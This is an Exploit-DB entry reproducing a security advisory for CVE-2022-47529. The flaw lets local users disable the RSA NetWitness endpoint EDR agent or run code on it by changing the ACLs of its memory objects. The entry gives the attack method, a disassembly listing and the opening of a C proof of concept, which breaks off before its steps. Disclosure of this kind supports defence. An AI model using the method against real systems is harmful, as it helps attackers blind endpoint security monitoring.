Exploit-DB #51336
Description: RSA NetWitness Platform 12.2 - Incorrect Access Control / Code Execution
Type: local
Platform: windows
Date: 2023-04-08
Author: hyp3rlinx

Exploit:
# Exploit Title: RSA NetWitness Platform 12.2 - Incorrect Access Control / Code Execution
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/RSA_NETWITNESS_EDR_AGENT_INCORRECT_ACCESS_CONTROL_CVE-2022-47529.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 
[Vendor]
RSA Security
www.netwitness.com


[Product]
NetWitness Endpoint EDR Agent

The RSA NetWitness detection and response (EDR) endpoint monitors activity across all your endpoints—on and off the network—providing deep visibility
into their security state, and it prioritizes alerts when there is an issue. NetWitness Endpoint drastically reduces dwell time by rapidly
detecting new and non-malware attacks that other EDR solutions miss, and it cuts the cost, time and scope of incident response.


[Vulnerability Type]
Incorrect Access Control / Code Execution


[CVE Reference]
CVE-2022-47529


[Security Issue]
CVE-2022-47529 allows local users to stop the Endpoint Windows agent from sending the events to SIEM or make the agent run user-supplied commands.

Insecure Win32 memory objects in Endpoint Windows Agents in the NetWitness Platform through 12.x allow local
and admin Windows user accounts to modify the endpoint agent service configuration:
to either disable it completely or run user-supplied code or commands, thereby bypassing tamper-protection features via ACL modification.

Interestingly, the agent was uploaded to virustotal on 2022-01-05 17:24:32 UTC months before finding and report.

SHA-256 770005f9b2333bf713ec533ef1efd2b65083a5cfb9f8cbb805ccb2eba423cc3d
LANDeskService.exe


[Severity]
Critical


[Impact(s)]
Denial-of-Service 
Arbitrary Code Execution


[Attack Vector]
To exploit, open handle to memory objects held by the endpoint agent, 
modify the ACL for the ones that have insecure ACLs, and DENY access to Everyone group


[Affected Product Code Base]
All versions prior to v12.2


[Network Access]
Local


[References]
https://community.netwitness.com/t5/netwitness-platform-security/nw-2023-04-netwitness-platform-security-advisory-cve-2022-47529/ta-p/696935


[Vuln Code Block]:[PII_REDACTED]0F7B10 sub_1400F7B10   proc near               ; CODE XREF: sub_14012F6F0+19B?p
.text:[PII_REDACTED]0F7B10                                         ; sub_14013BA50+19?p
.text:[PII_REDACTED]0F7B10                                         ; DATA XREF: ...
.text:[PII_REDACTED]0F7B10                 push    rbx
.text:[PII_REDACTED]0F7B12                 sub     rsp, 20h
.text:[PII_REDACTED]0F7B16                 mov     rbx, rcx
.text:[PII_REDACTED]0F7B19                 test    rcx, rcx
.text:[PII_REDACTED]0F7B1C                 jz      short loc_1400F7B5C
.text:[PII_REDACTED]0F7B1E                 call    cs:InitializeCriticalSection
.text:[PII_REDACTED]0F7B24                 lea     rcx, [rbx+28h]  ; lpCriticalSection
.text:[PII_REDACTED]0F7B28                 call    cs:InitializeCriticalSection
.text:[PII_REDACTED]0F7B2E                 mov     edx, 1          ; bManualReset
.text:[PII_REDACTED]0F7B33                 xor     r9d, r9d        ; lpName
.text:[PII_REDACTED]0F7B36                 mov     r8d, edx        ; bInitialState
.text:[PII_REDACTED]0F7B39                 xor     ecx, ecx        ; lpEventAttributes
.text:[PII_REDACTED]0F7B3B                 call    cs:CreateEventW
.text:[PII_REDACTED]0F7B41                 mov     [rbx+50h], rax
.text:[PII_REDACTED]0F7B45                 mov     dword ptr [rbx+58h], 0
.text:[PII_REDACTED]0F7B4C                 test    rax, rax
.text:[PII_REDACTED]0F7B4F                 jz      short loc_1400F7B5C



[Exploit/POC]
"RSA_NetWitness_Exploit.c"

#include "windows.h"
#include "stdio.h"
#include "accctrl.h"
#include "aclapi.h"

#define OPEN_ALL_ACCESS 0x1F0003

/*
RSA NetWitness EDR Endpoint Agent
Tamper Protection Bypass / EoP Code Execution
RSA NetWitness.msi --> NWEAgent.exe
MD5: c0aa7e52cbf7799161bac9ebefa38d49

Expected result: Low privileged standard users are prevented from interfering with and or modifying events for the RSA Endpoint Agent.
Actual result: RSA NetWitness Endpoint Agent is terminated by a low privileged standard non-administrator user.

By John Page (hyp3rlinx) - Nov 2022 

DISCLAIMER: The author of this code is not responsible or liable for any damages whatsoever from testing, modifying and or misuse.
Users of this supplied PoC code accept all risks, do no harm. 

X64 PE file vuln code block:
[PII_REDACTED]0F7B10 sub_1400F7B10   proc near               ; CODE XREF: sub_14012F6F0+19B?p
.text:[PII_REDACTED]0F7B10                                         ; sub_14013BA50+19?p
.text:[PII_REDACTED]0F7B10                                         ; DATA XREF: ...
.text:[PII_REDACTED]0F7B10                 push    rbx
.text:[PII_REDACTED]0F7B12                 sub     rsp, 20h
.text:[PII_REDACTED]0F7B16                 mov     rbx, rcx
.text:[PII_REDACTED]0F7B19                 test    rcx, rcx
.text:[PII_REDACTED]0F7B1C                 jz      short loc_1400F7B5C
.text:[PII_REDACTED]0F7B1E                 call    cs:InitializeCriticalSection
.text:[PII_REDACTED]0F7B24                 lea     rcx, [rbx+28h]  ; lpCriticalSection
.text:[PII_REDACTED]0F7B28                 call    cs:InitializeCriticalSection
.text:[PII_REDACTED]0F7B2E                 mov     edx, 1          ; bManualReset
.text:[PII_REDACTED]0F7B33                 xor     r9d, r9d        ; lpName
.text:[PII_REDACTED]0F7B36                 mov     r8d, edx        ; bInitialState
.text:[PII_REDACTED]0F7B39                 xor     ecx, ecx        ; lpEventAttributes
.text:[PII_REDACTED]0F7B3B                 call    cs:CreateEventW
.text:[PII_REDACTED]0F7B41                 mov     [rbx+50h], rax
.text:[PII_REDACTED]0F7B45                 mov     dword ptr [rbx+58h], 0
.text:[PII_REDACTED]0F7B4C                 test    rax, rax
.text:[PII_REDACTED]0F7B4F                 jz      short loc_1400F7B5C


1) Install "RSA NetWitness.msi"  (Endpoint EDR A